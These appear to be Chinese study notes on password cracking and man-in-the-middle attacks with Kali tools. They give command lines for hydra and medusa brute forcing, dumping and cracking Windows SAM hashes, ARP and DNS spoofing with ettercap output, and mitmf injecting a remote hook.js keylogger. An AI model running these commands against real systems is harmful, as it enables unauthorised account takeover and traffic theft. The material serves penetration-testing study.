思路

各种密码类别大致数学原理

https://blog.csdn.net/carol980206/article/details/96705859

https://www.jianshu.com/p/cb77838c69db

目标系统实施了强安全措施
  1. 安装了所有补丁
  2. 无任何已知漏洞
  3. 无应用层漏洞
  4. 攻击面最小化
社会工程学
获取目标系统用户身份
  1. 非授权用户不受信,认证用户可以访问守信资源
  2. 已有用户账号权限受
  3. 不触发系统报警

密码破解

人工猜解
  1. 垃圾桶工程
  2. 被动信息搜集
基于字典暴力破解
键盘空间字符爆破
字典
  1. 保存有用户名和密码的文本文件
  2. /usr/share/wordlist
  3. /usr/share/wf
  4. uzz/wordlist
  5. /usr/share/seclists
键盘空间字符爆破

https://blog.csdn.net/weilijia13/article/details/70175787

1. 全键盘空间字符
2. 部分键盘空间字符
3. 数字,小写字母,大写字母,符号空格,瑞典字符,高位ASCII码
4. crunch <min-len><max-len>[] [options]- < charset string >默认是小写字符

crunch 6 6 0123456789 -o START -D 2 -B 1MB / -C 100
-b 按大小分割字典文件,即将原本完整的字典文件分割为1mb一个字典文件。
-c字典行数
以上两位必须使用 -o START 进行结合使用
-d 同意字符连贯出现数量(11/aaa)
字符集
- crunch 4 4 -f charset.lst lalpha-sv -o 1.txt
无重复字符
- crunch 1 1 0p 1234567890 | more
- 必须是最后一个参数
- 最大最小字符长度失效,但必须存在
- 与-s参数不兼容
- crunch 4 4 0123456789 -s 9990
读取文件中每行内容作为基本字符生成字典
- crunch 1 1 -q read
字典组成规则
crunch 6 6 -t @,%%^^ | more
- @ 小写字符
- . 大写字符
- % 数字
- ^ 符号
输出文件压缩
- crunch 4 4 -t @,%^ -o 1.txt -z 7z
- 其他压缩格式 :gzip,bzip2,lzma
- 7z压缩比率最大

crunch 5 5 abc DEF + !@# -t ,@^%,

我们使用-t来指定所选字符集的类型,即第一个为大写字符,第二个为小写字符,第三个为特殊字符,第四个是数字,第五个又是大写字符。
其中\是转义字符,+是占位符,表示选用的是默认的。

crunch 5 5 -t ddd%% -p dog cat bird

此处ddd代指的就是-p当中的三个参数,任何不同于-p参数指定的值都可以作为占位符。

crunch 5 5 -d 2@ -t @@@%%

此处进行了限制即相同的连续小写字母只能连续两次最多,即此处不会生成aaa,可能为aab

专属的密码字典

CUPP:通过个人信息进行密码破解。

root@kali:~/common-password# python cupp.py -i

cewl:通过手机网站信息生成字典。

cewl 1.1.1.1 -m 3 -d 3 -e -c -v -w a.txt
-m:最小单词长度
-d:爬网深度
-e:手机包括email地址信息
-c:每个单词出现次数
hydra

https://blog.csdn.net/cjx529377/article/details/85418802 https://blog.csdn.net/csacs/article/details/88141215

 hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpwimap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh
windows密码破解
- hydra -l administrator -P pass.lst smb://1.1.1.1/admin$ -vVd
- hydra -l adminstrator -P pass.lst rbp://1.1.1.1 -t 1 -vV
linux密码破解
- hydra -l root -P passwd.lst ssh://1.1.1.1 -vV
其他服务密码破解
- hydra -L user.list -P pass.lst fpt://1.1.1.1 -s 2121 -e nsr -o p.txt -t 64
- -e nsr n:空密码 s:账号密码相同 r:账号密码相反
我们可以使用hydra -R来继续上一次未完成的破解。
hydra -l admin -P john.txt 192.168.1.1.http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:S=index.php" -t 1 -v
其实此处不会有返回结果,因为服务器会进行302重定向,不会反悔login failed 而是会返回 login.php这个页面,但如果登陆成功的话那么就会返回index.php这样我们在burp当中使用forward会跳转到index.php,但此时还是会有问题,我们需要将验证结果指为正确登录的返回结果,即S=index.php
hydra -l admin -P pass.lst 1.1.1.1 http-post-form "/dvwa/login.php:username=^USAR^&pass=^PASS^&Login=Lin:Login Failed" -V
/foo.php:user=^USER^&pass=^PASS^:S=sucess:C=/page/cookie:H=X-Foo:Foo
C:先访问指定页面取得的cookie
H:指定http头
https-post-form,http-get-form,https-get-form

密码破解效率

- 密码复杂度
- 带宽,协议,服务器性能,客户端性能
- 锁定阀值
- 单位时间最大登录请求次数

pw—inspctor

-i 输入文件

-o 输出文件

-m 有效密码的最小长度

-M 有效密码的最大长度

-l 小写字母

-u 大学字母

-p 可打印的字符

-s 特殊字符

-n 数字

pw-inspector -i pass.lst -o up.lst -l  

筛选pass.lst字典小写字符输出为lp.lst(包含一个小写字母也算

pw-inspector -i pass.lst -o up.lst -l u

筛选pass.lst字典小写字符输出为up.lst(包含一个大写字母也算

medusa

hydra缺点: 稳定性差,程序时常崩溃。

速度控制不好,容易触发服务屏蔽或锁死机制。

没主机新建进程,没服务新建实例。

大量目标破解时性能差。

medusa特点:。

稳定性好。

速度控制得当。

基于线程。

支持模块少于hydra。

web-form支持存在缺陷。

medusa -d
破解windows密码
- medusa -M smbnt -h 1.1.1.1 -u administrator -P pass.lst -e ns -F
破解linuxSSH密码
medusa -M ssh -h 192.168.214.135 -u root -P [ass.lst -e ns -F
其他服务密码破解
-medusa -M mysql -h 1.1.1.1 -u root -P pass.lst -e ns -F
-medusa -h 1.1.1.1 -u admin -P pass.lst -M web-form -m FORM:"dvwa/login.php" -m DENY-SIGNAL:"login.php" -m FORM-DATA:"post?user=username&pass=password&Login-Login"

-n 非默认参数 -s 使用ssl连接 -T 并发主机数 https://blog.csdn.net/cnsdlywei/article/details/83213607 https://blog.csdn.net/u010984277/article/details/50792816

离线密码破解

身份验证: - 禁止明文传输密码 - 每次认证使用HASH算法加密密码传输 - 服务端用户数据湖赢加盐加密保存 破解思路: - 嗅探获取密码HASH - 利用漏洞登录服务器并从用户数据库获取密码HASH - 识别HASH类型:长度字符集 - 利用离线破解工具碰撞密码HASH

离线密码破解

windows HASH获取工具 - 我们需要知道在windows当中我们的SAM数据库存放着我们账号密码的密文信息。 - 利用漏洞:Pwdump,fgdump,mimikatz,wce//已经有了登录权限 - 物理接触:samdump2//思路使用kali引导这台电脑,我们在光盘当中插入kali的iso文件,使用kali进行启动,然后进入live模式,查看机器的本地硬盘 - fdisk -l - kali iso启动虚拟机 - mount/dev/sda1/mnt - cd /mnt/Windows/System32/config - samdump2 SYSTEM SAM -o sam.hash - cat sam.hash此时我们可以查看, - 利用nc传输HASH 我们在system当中设置一个秘钥,此时我们登陆的时候需要进行两道密码的输入。

HASHCAT

https://blog.csdn.net/SHIGUANGTUJING/article/details/90074614

开源多线程密码破解工具
支持80多种加密算法破解
基于cpu的计算能力破解
有6种模式
- a 0 straight:字典破解
- a 1 combination 讲字典中密码进行组合(1 2 > 11 22 12 21)
- a 2 Toggle case 尝试字典中所有密码的大小写组合
- a 3 Brute force 指定字符集所有组合
- a 4 Permutation 字典中密码的全部字符置换组合
- a 5 Table-lookup 程序为字典中所有密码自动生成掩码

我们在syskey当中又设置秘钥之后,此时按照上述也能获得一串hash值,但是我们放到hashcat中进行解密,发现是没有结果的
hashcat -m 1000 -a 3 sam1.hash -i --increment-min 4 --increment-max 6 ?a?a?a?a?a?a
Bootkey利用RC4算法加密SAM数据库,Bootkey保存在SYStem文件当中,我们可以使用吧

掩码的设置
    l | abcdefghijklmnopqrstuvwxyz          纯小写字母
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ 纯大写字母
d | 0123456789 纯数字
h | 0123456789abcdef 常见小写子目录和数字
H | 0123456789ABCDEF 常见大写字母和数字
s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ 特殊字符
a | ?l?u?d?s 键盘上所有可见的字符
b | 0x00 - 0xff 可能是用来匹配像空格这种密码的
八位数字密码:?d?d?d?d?d?d?d?d
八位未知密码:?a?a?a?a?a?a?a?a
前四位为大写字母,后面四位为数字:?u?u?u?u?d?d?d?d
前四位为数字或者是小写字母,后四位为大写字母或者数字:?h?h?h?h?H?H?H?H
前三个字符未知,中间为admin,后三位未知:?a?a?aadmin?a?a?a
6-8位数字密码:--increment --increment-min 6 --increment-max 8 ?l?l?l?l?l?l?l?l
6-8位数字+小写字母密码:--increment --increment-min 6 --increment-max 8 ?h?h?h?h?h?h?h?h
攻击模块
# | Mode
===+======
0 | Straight(字段破解)
1 | Combination(组合破解)
3 | Brute-force(掩码暴力破解)
6 | Hybrid Wordlist + Mask(字典+掩码破解)
7 | Hybrid Mask + Wordlist(掩码+字典破解)

oclhashcat

号称世界最快,唯一基于GPU的密码破解软件 免费开源,支持多平台,支持分布式,150+haash算法 硬件支持: 虚拟机中无法使用 支持CUDA技术的Nvidia显卡 支持OpenCL技术的AMD显卡 安装相应的驱动

rainbowcrack

我们省却了将字典转换成hash值的过程,直接进行碰撞。 基于时间记忆权衡技术生成彩虹表 提前计算密码的HASH值,通过对比HASH破解密码 计算HASH的速度很慢,修改版支持CUDA,GPU kali中包含RAINBOECRACK工具 rtgen:预计算,声场彩虹表,耗时的阶段 rtsort:对rtgen生成的彩虹表进行排序 rcrack:查找彩虹表破解密码 以上命令必须顺序使用。 密码明文,HASH值,HASH算法,字符集,明文长度范围都是彩虹表的构成元素 在rtgen当中:lanman,ntlm,md2,md4,md5,sha1,ripemd160这几种算法,当然计算彩虹表的时间可能很长:rtgen 算法 字符集 明文密码最小长度 明文密码最大长度 表的索引 链的长度 链的数量 https://blog.csdn.net/qq_35976271/article/details/79026140

john

https://blog.csdn.net/lonet/article/details/6621385

支持众多服务应用的加密破解,支持某些对称加密算法破解。

模式:Wordlist:基于规则的字典破解

single crack:默认被受限制性,使用login信息尝试破解。

incremental:所有或指定字符集的暴力破解。

external:需要在主配文件中使用c语言子集编程。

我们可以使用shadow进行合并,当然我们也可以使用图形化界面johnny。

ophcrack

也是一种图形化破解工具

密码嗅探

二,三层地址

ip网络到网络

mac主机到主机

交换机与HUB

HUB全端口转发

交换机根据学习地址转发

混杂模式抓包

二层地址基于广播进行传送,所以在局域网内部,二层地址是可以广播寻址,发送广播。

三层要经过三层的路由设备进行三层路由寻址,如果一个路由发现塔索连个呢个网段的所寻的地址它的另一端连着,那么就会继续寻址,会经过本网段的网关,广播继续发送寻找另一个网段的网关,然后获得那个网关的mac地址, 然后更改mac地址。

HUB:全端口转发,不识别二层报头,一般情况下,网卡都是非混杂模式的,抓包工具可以把网卡置为混杂模式,把所有流经我的网卡的流量都抓下来,但这对于计算机的性能是有极大的消耗的。

交换机:这就是一个二层网络设备了,交换机对于广播包是都进行转发的,交换机就避免了新歌能的损耗,交换机当中的内存会记录与其相连的及其第一次发的包的ip地址作为其mac地址,交换机可以直接将信息转给另一个端口。

但这并不意味着我们无法做arp密码嗅探了。

ARP协议的请求,相应是相对独立的,那么我们就可以编造一个响应的数据包,任何一个这个网段的人都可以随意发响应包,并且机器接收到响应包都是无条件信任的这个响应包,是不需要请求的。,遮阳消息就会传递给伪造者的mac地址,这就是arp欺骗,接下来我们就可以实现中间人攻击。

开启路由转发功能
root@kali:~# cat /proc/sys/net/ipv4/ip_forward
0 //此处默认为0
root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward //将其修改为1,即开启此功能
网络嗅探

arpspoof -i eth0 -t 192.168.1.112 192.168.1.1//前面的是被欺骗者,后者是网关 arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host

driftnet -i eth0 -a -d tempdir -s
dnsspoof -i eth0 -f /usr/share/dsniff/dnsspoof.hosts
urlsnarf -i eth0
webspy -i eth0 1.1.1.10

DNS欺骗代理

https://blog.csdn.net/xiaoxuetu_/article/details/76042369

-dnschef --fakeip=1.01.1.10 //我们要欺骗的ip具体要解析的地址 --fakedomains=www.google.com,www.youtubo.com //我们要欺骗的--interface 192.168.214.135//在哪块网卡进行侦听

在进行侦听的时候,我们需要将被欺骗的机器网络属性进行配置,使他的电脑上的dns服务器指向我们的kali机器。
进行修改你要欺骗之后网页显示的内容:/var/www/html/index.html
我们使用ettercap也可以完成:

中间人攻击

https://www.cnblogs.com/ssooking/p/6036665.html

注入xss:即使没有xss ,液可以凌空向每个HTTP请求中注入xss攻击,一旦得手,影响范围巨大,而且如果中间人发生在运营商线路上。
mitmf --spoof --arp //使用arp欺骗 -i eth0 //流量流经的网卡--gateway 192.168.1.1 //网关的地址 --target 192.168.1.114 //要欺骗的主机--inject --js-url http://1.1.3:3000/hook.js //插入的js代码

mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 -- target 192.168.1.114 --jskeylogger / upsidedownternet /--screen / ferreting /browserprofiler

root@kali:~# ettercap -T -q -M arp:remote -i eth0 /192.168.214.132// /192.168.214.2// -P dns_spoof

ettercap 0.8.3 copyright 2001-2019 Ettercap Development Team

Listening on:
eth0 -> 00:0C:29:12:E9:44
192.168.214.150/255.255.255.0
fe80::20c:29ff:fe12:e944/64 SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Privileges dropped to EUID 65534 EGID 65534... 34 plugins
42 protocol dissectors
57 ports monitored
24609 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services
Lua: no scripts were specified, not starting up! Scanning for merged targets (2 hosts)... * |==================================================>| 100.00 % 4 hosts added to the hosts list... ARP poisoning victims: GROUP 1 : 192.168.214.132 00:0C:29:4A:1D:48 GROUP 2 : 192.168.214.2 00:50:56:E7:2A:0C
Starting Unified sniffing... Text only Interface activated...
Hit 'h' for inline help Activating dns_spoof plugin... dns_spoof: A [www.baidu.com] spoofed to [192.168.214.150] TTL [3600 s]
dns_spoof: A [web.vortex.data.microsoft.com] spoofed to [192.168.214.150] TTL [3600 s]
dns_spoof: A [teredo.ipv6.microsoft.com] spoofed to [192.168.214.150] TTL [3600 s]
dns_spoof: A [www.microsoft.com] spoofed to [192.168.214.150] TTL [3600 s]
dns_spoof: A [teredo.ipv6.microsoft.com] spoofed to [192.168.214.150] TTL [3600 s]
dns_spoof: A [vortex-win.data.microsoft.com] spoofed to [192.168.214.150] TTL [3600 s]
dns_spoof: A [settings-win.data.microsoft.com] spoofed to [192.168.214.150] TTL [3600 s]
dns_spoof: A [teredo.ipv6.microsoft.com] spoofed to [192.168.214.150] TTL [3600 s]
dns_spoof: A [go.microsoft.com] spoofed to [192.168.214.150] TTL [3600 s]
dns_spoof: A [www.baidu.com] spoofed to [192.168.214.150] TTL [3600 s]

Ettercap

统一的中间人攻击工具

转发MAC与本机相同,但ip与本机不同的数据包

支持SSH1,SSL中间人攻击。

转发包的原则:只转发mac相同,而ip地址不同的包。

模块划分:snifer,mitm,filter,log,plugin

snifer

负责数据包转发

unified:单网卡情况下独立完成三层包转发,始终禁用内核IP-FORWARD功能

bridge:双网卡情况下一层MITM模式,可作为IPS过滤数据卡,不可在网关上使用,这种模式下隐蔽性非常的高,几乎不能被发现,这样情况下是被视为像一根网线,一根进,一根输出。

MITM

把流量重定向到ettercap主机上
可以使用其他工具实现MITM,etter只做嗅探和过滤使用。
实现MITM的方法:ARP,ICMP//ICMP路由重定向,半双工,路由的过程是不对称的,我们只能发现客户端传递给服务端的包,而服务端的包是不流经中间人的 DHCP:修改网关地址,半双工,Switch Port Stealing//flood目标地址是本机,原地址是受害者的包,适用于ARP静态绑定的环境,可以双向欺骗, NDP//ipv6协议欺骗技术。

在2.4以上内核对于ARP地址欺骗是有约束的,对于收到非请求的ARP响应包,不更新本地ARP缓存,而ettercap对于这种限制是可以发送ARP request包进行攻击

用户操作界面:

- T 文本界面

- G 图形界面

- C 基于文本的图形

- D 后台模式

ettercap mac地址/ipv4地址1/端口号 /ipv4地址2/ 遮阳就表示在1和2地址之间实现中间人攻击,当然ipv6地址可以写多个,ipv4
也可以写多个。

权限

需要root权限打开链路层socket连接,然后使用noody账号进行运行,日志写入目录需要nobody有写入权,我们可以使用root账号运行,但是如果有漏洞,对方可能就会获得了root权限。

ettercap -i eth0 -T -M arp -q /192.168.1.1// /192.168.1.2// -F 1.ef -P autoadd -w a.cap -l loginfo -L logall -m message
//-F调用了过滤器 //-P 模块名称 //-w 将所有流量抓下来存取成a.cap 这个文件。 //-l 记录简单的日志信息 //-L 记录全部的日志信息
filter可以帮助我们强制性把ssh协议版本降低,这样我们就可以解密了,具体目录就是:/usr/share/ettercap
ICMP:-M icmp:mac地址/ip地址(真实的网关MAC/IP地址)
DHCP: -M dhcp:192.168.0.30,35,50-60/225.225.225.0/192.168.0.1
Port: -M port/1.1.1.1//1.1.1.2/
NDP: -m NDP //fe80::260d:afff:fe6e:f378/ //2001:db8::2:1/

kali上密码工具使用例如mudusa,hydra等的更多相关文章

  1. 在KALI以外的Linux上安装KALI上的工具(ubuntu,debian)

    添加KALI源 vim /etc/apt/sources.list 在sources.list中加入 deb http://http.kali.org/kali kali-rolling main c ...

  2. Kali中密码暴力破解工具hydra的使用

    前言 hydra是著名黑客组织thc的一款开源的暴力破解密码工具,功能非常强大,kali下是默认安装的,几乎支持所有协议的在线破解.密码能否破解,在于字典是否强大.本文仅从安全角度去讲解工具的使用,请 ...

  3. 小白日记20:kali渗透测试之后渗透测试阶段(一)--上传工具

    后渗透测试阶段--上传工具 为防止管理员将漏洞补上后,我们无法再通过该漏洞控制对方主机,所以需要进行后渗透测试阶段 1.上传各种工具 2.提权:为了全面控制目标系统 3.擦除攻击痕迹:防止管理员通过日 ...

  4. 12.持久性后门----Ettercap之ARP中毒----RAR/ZIP & linux密码破解----kali上检测rootkits

    持久性后门 生成PHP shell weevely generate 密码 /root/Desktop/404.php 靶机IP/404.php weevely http://192.168.1.10 ...

  5. Linux的一个暴力破解工具九头蛇hydra

    首先还是书写本文的 参考档:http://www.cnblogs.com/mchina/archive/2013/01/01/2840815.html 工具介绍:原文为官方英文解释本人给翻译下 数量最 ...

  6. kali上部署dvwa漏洞测试平台

    kali上部署dvwa漏洞测试平台 一.获取dvwa安装包并解压 二.赋予dvwa文件夹相应权限 三.配置Mysql数据库 四.启动apache2和mysql服务 五.在网页配置dvwa 六.登陆到D ...

  7. spring mvc 文件上传工具类

    虽然文件上传在框架中,已经不是什么困难的事情了,但自己还是开发了一个文件上传工具类,是基于springmvc文件上传的. 工具类只需要传入需要的两个参数,就可以上传到任何想要上传的路径: 参数1:Ht ...

  8. 超实用文件监控多线程FTP上传工具

    这是自己很久以前写的一个多线程FTP 上传工具,支持多账户,自定义线程数,自定义文件监控目录,可用做文件发布使用,非常实用,今天有小伙伴问起,现分享出来: using System; using Sy ...

  9. commons-fileload图片文件上传工具 , servlet文件图片上传案列

    本案列是java  maven工程小项目,提供个大家学习! 1.在pom.xml文件中导入依赖: <!--文件上传依赖--><dependency> <groupId&g ...

随机推荐

  1. python的各种包安装地址

    http://www.lfd.uci.edu/~gohlke/pythonlibs/#scipy-stack 这个网页里有python的所有包,whl的后缀是python压缩包的意思.在windows ...

  2. 「从零单排canal 07」 parser模块源码解析

    基于1.1.5-alpha版本,具体源码笔记可以参考我的github:https://github.com/saigu/JavaKnowledgeGraph/tree/master/code_read ...

  3. vue自定义下拉框组件

    创建下拉框组件 Select.vue <template> <div class="selects"> <div :class="{sele ...

  4. Elementor如何隐藏页面上的标题(2种办法)

    原文首发于:https://loyseo.com/how-to-hide-page-title-in-elementor/ 本文介绍两种隐藏Elementor页面默认标题的方法,一种是单个隐藏,一种是 ...

  5. ClickHouse和他的朋友们(9)MySQL实时复制与实现

    本文转自我司大神 BohuTANG的博客 . 很多人看到标题还以为自己走错了夜场,其实没有. ClickHouse 可以挂载为 MySQL 的一个从库 ,先全量再增量的实时同步 MySQL 数据,这个 ...

  6. JAVA虚拟机故障诊断总结

    一.JAVA运行时数据区               1.堆(-Xmx与-Xms):所有线程共享.  目的:用来存放对象实例.所有对象实例和数组都要在堆上分配内存.JAVA堆是垃圾收集器管理的主要区域 ...

  7. CSS3动画之animation-timing-function中的stepshan shu

    1.概念 animation-timing-function是规定动画的速度曲线,一般使用的是cubic-bezier() 控制动画曲线的,属性值一般有ease/ease-in/ease-out等,而 ...

  8. 为什么网站URL需要设置为静态化

    http://www.wocaoseo.com/thread-95-1-1.html       为什么网站URL需要静态化?网站url静态化的好处是什么?现在很多网站的链接都是静态规的链接,但是网站 ...

  9. Redis高可用——副本机制

    目录 概念 配置 同步方式 起点 主从握手 部分同步 完全同步 执行完全同步判断条件 完全同步代码实现 为实现Redis服务的高可用,Redis官方为我们提供了副本机制(或称主从复制)和哨兵机制.副本 ...

  10. JS - 日期时间比较函数

    JS日期比较(yyyy-mm-dd) function duibi(a, b) { var arr = a.split("-"); var starttime = new Date ...